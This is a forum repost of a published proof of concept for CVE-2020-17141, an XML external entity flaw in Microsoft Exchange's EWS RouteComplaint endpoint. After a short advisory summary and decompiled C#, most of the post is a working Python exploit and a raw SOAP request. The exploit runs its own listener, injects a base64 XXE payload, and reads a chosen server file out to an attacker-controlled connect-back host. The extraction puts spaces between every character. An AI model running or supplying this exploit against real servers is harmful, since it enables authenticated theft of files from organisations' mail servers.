[20405] 2020-12-15_CVE-2020-17141-POC-远程执行代码漏洞

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2020-12-15_CVE-2020-17141-POC-远程执行代码漏洞 C V E - 2 0 2 0 - 1 7 1 4 1 - P O C -   K h a n   2 0 2 0 - 1 2 - 1 5     M i c r o s o f t   E x c h a n g e P O C h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 7 1 4 1 . p y . t x t # ! / u s r / b i n / e n v   p y t h o n 3 " " " M i c r o s o f t   E x c h a n g e   S e r v e r   E W S   R o u t e C o m p l a i n t   P a r s e C o m p l a i n t D a t a   X M L   E x t e r n a l   E n t i t y   P r o c e s s i n g   I n f o r m a t i o n   D i s c l o s u r e   V u l n e r a b i l i t y A d v i s o r y :   h t t p s : / / s r c i n c i t e . i o / a d v i s o r i e s / s r c - 2 0 2 0 - 0 0 3 1 / P a t c h e d   i n :   h t t p s : / / p o r t a l . m s r c . m i c r o s o f t . c o m / s e c u r i t y - g u i d a n c e / a d v i s o r y / C V E - 2 0 2 0 - 1 7 1 4 1 # #   S u m m a r y T h i s   v u l n e r a b i l i t y   a l l o w s   r e m o t e   a t t a c k e r s   t o   d i s c l o s e   i n f o r m a t i o n   o n   a f f e c t e d   i n s t a l l a t i o n s   o f   E x c h a n g e   S e r v e r .   A u t h e n t i c a t i o n   i s   r e q u i r e d   t o   e x p l o i t   t h i s   v u l n e r a b i l i t y .   T h e   s p e c i f i c   f l a w   e x i s t s   w i t h i n   t h e   p r o c e s s i n g   o f   a   R o u t e C o m p l a i n t   S O A P   r e q u e s t   t o   t h e   E W S   s e r v i c e   e n d p o i n t .   T h e   i s s u e   r e s u l t s   f r o m   t h e   l a c k   o f   p r o p e r   v a l i d a t i o n   o f   a   u s e r - s u p p l i e d   x m l .   A n   a t t a c k e r   c a n   l e v e r a g e   t h i s   v u l n e r a b i l i t y   t o   d i s c l o s e   i n f o r m a t i o n   i n   t h e   c o n t e x t   o f   S Y S T E M . # #   V u l n e r a b i l i t y   A n a l y s i s I n s i d e   o f   t h e   ` M i c r o s o f t . E x c h a n g e . S e r v i c e s . d l l `   w e   c a n   s e e   t h e   f o l l o w i n g   c l a s s : ` ` ` c # n a m e s p a c e   M i c r o s o f t . E x c h a n g e . S e r v i c e s . C o r e {         i n t e r n a l   s e a l e d   c l a s s   R o u t e C o m p l a i n t   :   S i n g l e S t e p S e r v i c e C o m m a n d < I C a l l C o n t e x t ,   R o u t e C o m p l a i n t R e q u e s t ,   R o u t e C o m p l a i n t R e s p o n s e M e s s a g e >         {                 / / . . .                 i n t e r n a l   o v e r r i d e   S e r v i c e R e s u l t < R o u t e C o m p l a i n t R e s p o n s e M e s s a g e >   E x e c u t e ( )                 {                         i f   ( b a s e . C a l l C o n t e x t . E f f e c t i v e C a l l e r   = =   n u l l )                         {                                 t h r o w   n e w   A r g u m e n t N u l l E x c e p t i o n ( " t h i s . C a l l C o n t e x t . E f f e c t i v e C a l l e r " ,   " E f f e c t i v e C a l l e r   m u s t   n o t   b e   n u l l . " ) ;                         }                         t h i s . a b u s e R e p o r t R e s u l t s   =   n u l l ;                         I A b u s e R e p o r t C o n t e x t   a b u s e R e p o r t C o n t e x t   =   t h i s . P a r s e C o m p l a i n t D a t a ( ) ;     / /   1                         I M a i l b o x S e s s i o n   i m a i l b o x S e s s i o n B y S m t p A d d r e s s   =   b a s e . C a l l C o n t e x t . S e s s i o n C a c h e . G e t I M a i l b o x S e s s i o n B y S m t p A d d r e s s ( b a s e . C a l l C o n t e x t . E f f e c t i v e C a l l e r . P r i m a r y S m t p A d d r e s s ,   f a l s e ) ;                         I W a s c l C o n t e x t   w a s c l C o n t e x t   =   n e w   W a s c l C o n t e x t ( P r o t o c o l C l i e n t T y p e . X M R A R ,   n u l l ,   n u l l ,   s t r i n g . E m p t y ,   " " ) ;                         i m a i l b o x S e s s i o n B y S m t p A d d r e s s . W a s c l C o n t e x t   =   w a s c l C o n t e x t ;                         t h i s . a b u s e R e p o r t R e s u l t s   =   W a s c l W r a p p e r . P r o c e s s A b u s e R e p o r t ( a b u s e R e p o r t C o n t e x t ,   i m a i l b o x S e s s i o n B y S m t p A d d r e s s ) ;                         r e t u r n   n e w   S e r v i c e R e s u l t < R o u t e C o m p l a i n t R e s p o n s e M e s s a g e > ( n e w   R o u t e C o m p l a i n t R e s p o n s e M e s s a g e ( S e r v i c e R e s u l t C o d e . S u c c e s s ,   n u l l ,   t h i s . E n c o d e C o m p l a i n t D a t a F o r R e s p o n s e ( ) ) ,   S e r v i c e R e s u l t C o d e . S u c c e s s ) ;                 }                 / /   . . .                 p r i v a t e   I A b u s e R e p o r t C o n t e x t   P a r s e C o m p l a i n t D a t a ( )                 {                         i f   ( b a s e . R e q u e s t . D a t a   = =   n u l l )                         {                                 E x T r a c e G l o b a l s . G e t E v e n t s C a l l T r a c e r . T r a c e D e b u g ( ( l o n g ) t h i s . G e t H a s h C o d e ( ) ,   " R o u t e C o m p l a i n t . E x e c u t e   -   R o u t e C o m p l a i n t R e q u e s t   d a t a   i s   n u l l " ) ;                                 t h r o w   n e w   A r g u m e n t N u l l E x c e p t i o n ( " t h i s . c o m p l a i n t D a t a " ,   " C o m p l a i n t D a t a   m u s t   n o t   b e   n u l l   i n   o r d e r   t o   p r o c e s s   t h e   a b u s e   r e p o r t . " ) ;                         }                         X m l D o c u m e n t   x m l D o c u m e n t   =   n e w   X m l D o c u m e n t ( ) ;                         x m l D o c u m e n t . L o a d X m l ( E n c o d i n g . U T F 8 . G e t S t r i n g ( b a s e . R e q u e s t . D a t a ) ) ;     / /   2                         X m l N o d e   d a t a   =   x m l D o c u m e n t . S e l e c t S i n g l e N o d e ( " c o m p l a i n t D a t a " ) ; ` ` ` A t   * [ 1 ] *   w e   c a n   s e e   t h e   ` R o u t e C o m p l a i n t . P a r s e C o m p l a i n t D a t a `   m e t h o d   i s   c a l l e d   f r o m   t h e   ` E x e c u t e `   m e t h o d   a n d   a t   * [ 2 ] *   t h e   c o d e   u s e s   a t t a c k e r   s u p p l i e d   d a t a   i n   a   ` L o a d X m l `   t o   t r i g g e r   e n t i t y   p r o c e s s i n g . # #   P r o o f   o f   C o n c e p t C h a n g e   a n y t h i n g   w i t h i n   t h e   [ ]   b r a c k e t s . ` ` ` P O S T   / e w s / E x c h a n g e . a s m x   H T T P / 1 . 1 H o s t :   [ t a r g e t ] C o n t e n t - t y p e :   t e x t / x m l ;   c h a r s e t = u t f - 8 A u t h e n t i c a t i o n :   [ n t l m   a u t h ] C o n t e n t - L e n g t h :   [ l e n g t h ] < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p : E n v e l o p e   x m l n s : s o a p = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : m = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / e x c h a n g e / s e r v i c e s /     < s o a p : H e a d e r >         < t : R e q u e s t S e r v e r V e r s i o n   V e r s i o n = " E x c h a n g e 2 0 1 0 _ S P 2 " > < / t : R e q u e s t S e r v e r V e r s i o n >     < / s o a p : H e a d e r >
    < / s o a p : H e a d e r >     < s o a p : B o d y >         < m : R o u t e C o m p l a i n t   M e s s a g e D i s p o s i t i o n = " S a v e O n l y " >             < m : D a t a > [ b a s e 6 4   e n c o d e d   X X E   p a y l o a d ] < / m : D a t a >         < / m : R o u t e C o m p l a i n t >     < / s o a p : B o d y > < / s o a p : E n v e l o p e > ` ` ` # #   E x a m p l e ` ` ` r e s e a r c h e r @ i n c i t e : ~ $   . / p o c . p y ( + )   u s a g e :   . / p o c . p y   < t a r g e t >   < u s e r : p a s s >   < c o n n e c t b a c k   i p : p o r t >   < f i l e > ( + )   e g :   . / p o c . p y   1 9 2 . 1 6 8 . 7 5 . 1 4 2   h a r r y h @ e x c h a n g e d e m o . c o m : u s e r 1 2 3 #   1 9 2 . 1 6 8 . 7 5 . 1 : 9 0 9 0   " C : / U s e r s / h a r r y h / s e c r e t s . t x t " r e s e a r c h e r @ i n c i t e : ~ $   . / p o c . p y   1 9 2 . 1 6 8 . 7 5 . 1 4 2   h a r r y h @ e x c h a n g e d e m o . c o m : u s e r 1 2 3 #   1 9 2 . 1 6 8 . 7 5 . 1 : 9 0 9 0   " C : / U s e r s / h a r r y h / s e c r e t s . t x t " ( + )   t r i g g e r e d   x x e   i n   e x c h a n g e ! ( + )   s t o l e n :   / l e a k e d ? < ! [ C D A T A [ o m g t h i s i s a s e c r e t 0 d a y ] ] > ` ` ` " " " i m p o r t   r e i m p o r t   s y s i m p o r t   u r l l i b 3 i m p o r t   r e q u e s t s i m p o r t   u r l l i b . p a r s e f r o m   t h r e a d i n g   i m p o r t   T h r e a d f r o m   b a s e 6 4   i m p o r t   b 6 4 e n c o d e f r o m   r e q u e s t s _ n t l m 2   i m p o r t   H t t p N t l m A u t h f r o m   h t t p . s e r v e r   i m p o r t   B a s e H T T P R e q u e s t H a n d l e r ,   H T T P S e r v e r u r l l i b 3 . d i s a b l e _ w a r n i n g s ( u r l l i b 3 . e x c e p t i o n s . I n s e c u r e R e q u e s t W a r n i n g ) c l a s s   x x e ( B a s e H T T P R e q u e s t H a n d l e r ) :         d e f   l o g _ m e s s a g e ( s e l f ,   f o r m a t ,   * a r g s ) :                 r e t u r n         d e f   _ s e t _ r e s p o n s e ( s e l f ,   d ) :                 s e l f . s e n d _ r e s p o n s e ( 2 0 0 )                 s e l f . s e n d _ h e a d e r ( ' C o n t e n t - t y p e ' ,   ' a p p l i c a t i o n / x m l ' )                 s e l f . s e n d _ h e a d e r ( ' C o n t e n t - L e n g t h ' ,   l e n ( d ) )                 s e l f . e n d _ h e a d e r s ( )         d e f   d o _ G E T ( s e l f ) :                 i f   " l e a k e d "   i n   s e l f . p a t h :                         p r i n t ( " ( + )   s t o l e n :   % s "   %   u r l l i b . p a r s e . u n q u o t e ( s e l f . p a t h ) )                         m e s s a g e   =   " < ! [ C D A T A [   < ! [   I N C L U D E [ ] ] >   ] ] > "                         s e l f . _ s e t _ r e s p o n s e ( m e s s a g e )                         s e l f . w f i l e . w r i t e ( m e s s a g e . e n c o d e ( ' u t f - 8 ' ) )                         s e l f . w f i l e . w r i t e ( ' n ' . e n c o d e ( ' u t f - 8 ' ) )                 e l i f   " p o c . d t d "   i n   s e l f . p a t h :                         p r i n t ( " ( + )   t r i g g e r e d   x x e   i n   e x c h a n g e ! " )                         m e s s a g e   =   " " " < ! E N T I T Y   % %   p a y l o a d   " % % s t a r t ; % % s t u f f ; % % e n d ; " > < ! E N T I T Y   % %   p a r a m 1   ' < ! E N T I T Y   & # x 2 5 ;   e x t e r n a l   S Y S T E M   " h t t p : / / % s : % d / l e a k e d ? % % p a y l o a d ; " > ' > % % p a r a m 1 ;   % % e x t e r n a l ; " " "   %   ( h o s t ,   i n t ( p o r t ) )                         s e l f . _ s e t _ r e s p o n s e ( m e s s a g e )                         s e l f . w f i l e . w r i t e ( m e s s a g e . e n c o d e ( ' u t f - 8 ' ) )                         s e l f . w f i l e . w r i t e ( ' n ' . e n c o d e ( ' u t f - 8 ' ) ) d e f   m a i n ( t ,   u s r ,   p w d ) :         s e r v e r   =   H T T P S e r v e r ( ( ' 0 . 0 . 0 . 0 ' ,   i n t ( p o r t ) ) ,   x x e )         h a n d l e r t h r   =   T h r e a d ( t a r g e t = s e r v e r . s e r v e _ f o r e v e r ,   a r g s = ( ) )         h a n d l e r t h r . d a e m o n   =   T r u e         h a n d l e r t h r . s t a r t ( )         u s e r n a m e   =   u s r . s p l i t ( " @ " ) [ 0 ]         d o m a i n   =   u s r . s p l i t ( " @ " ) [ 1 ]         h   =   { " C o n t e n t - t y p e "   :   " t e x t / x m l ;   c h a r s e t = u t f - 8 " }         x x e _ p a y l o a d   =   " " " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   % %   s t a r t   " < ! [ C D A T A [ " >   < ! E N T I T Y   % %   s t u f f   S Y S T E M   " f i l e : / / / % s " > < ! E N T I T Y   % %   e n d   " ] ] > " > < ! E N T I T Y   % %   d t d   S Y S T E M   " h t t p : / / % s : % d / p o c . d t d " > % % d t d ; ] > " " "   %   ( f i l e ,   h o s t ,   i n t ( p o r t ) )         d   =   " " " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p : E n v e l o p e   x m l n s : s o a p = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : m = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m / e x c h a n g e / s e r v i c e s /     < s o a p : H e a d e r >         < t : R e q u e s t S e r v e r V e r s i o n   V e r s i o n = " E x c h a n g e 2 0 1 0 _ S P 2 " > < / t : R e q u e s t S e r v e r V e r s i o n >     < / s o a p : H e a d e r >     < s o a p : B o d y >         < m : R o u t e C o m p l a i n t   M e s s a g e D i s p o s i t i o n = " S a v e O n l y " >
            < m : D a t a > % s < / m : D a t a >         < / m : R o u t e C o m p l a i n t >     < / s o a p : B o d y > < / s o a p : E n v e l o p e > " " "   %   b 6 4 e n c o d e ( x x e _ p a y l o a d . e n c o d e ( ) ) . d e c o d e ( " u t f - 8 " )           r e q u e s t s . p o s t ( " h t t p s : / / % s / e w s / E x c h a n g e . a s m x "   %   t ,   d a t a = d ,   h e a d e r s = h ,   v e r i f y = F a l s e ,   a u t h = H t t p N t l m A u t h ( ' % s % s '   %   ( d o m a i n , u s e r n a m e ) ,   p w d ) )         i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i f   l e n ( s y s . a r g v )   ! =   5 :                 p r i n t ( " ( + )   u s a g e :   % s   < t a r g e t >   < u s e r : p a s s >   < c o n n e c t b a c k   i p : p o r t >   < f i l e > "   %   s y s . a r g v [ 0 ] )                 p r i n t ( " ( + )   e g :   % s   1 9 2 . 1 6 8 . 7 5 . 1 4 2   h a r r y h @ e x c h a n g e d e m o . c o m : u s e r 1 2 3 #   1 9 2 . 1 6 8 . 7 5 . 1 : 9 0 9 0   " C : / U s e r s / h a r r y h / s e c r e t s . t x t " "   %   s y s . a r g v [ 0 ] )                 s y s . e x i t ( - 1 )         t r g t   =   s y s . a r g v [ 1 ]         a s s e r t   " : "   i n   s y s . a r g v [ 2 ] ,   " ( - )   y o u   n e e d   a   u s e r   a n d   p a s s w o r d ! "         u s r   =   s y s . a r g v [ 2 ] . s p l i t ( " : " ) [ 0 ]         p w d   =   s y s . a r g v [ 2 ] . s p l i t ( " : " ) [ 1 ]         h o s t   =   s y s . a r g v [ 3 ]         p o r t   =   9 0 9 0         f i l e   =   s y s . a r g v [ 4 ]         i f   " : "   i n   s y s . a r g v [ 3 ] :                   h o s t   =   s y s . a r g v [ 3 ] . s p l i t ( " : " ) [ 0 ]                 p o r t   =   s y s . a r g v [ 3 ] . s p l i t ( " : " ) [ 1 ]                 a s s e r t   p o r t . i s d i g i t ( ) ,   " ( - )   n o t   a   p o r t   n u m b e r ! "         m a i n ( t r g t ,   u s r ,   p w d )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则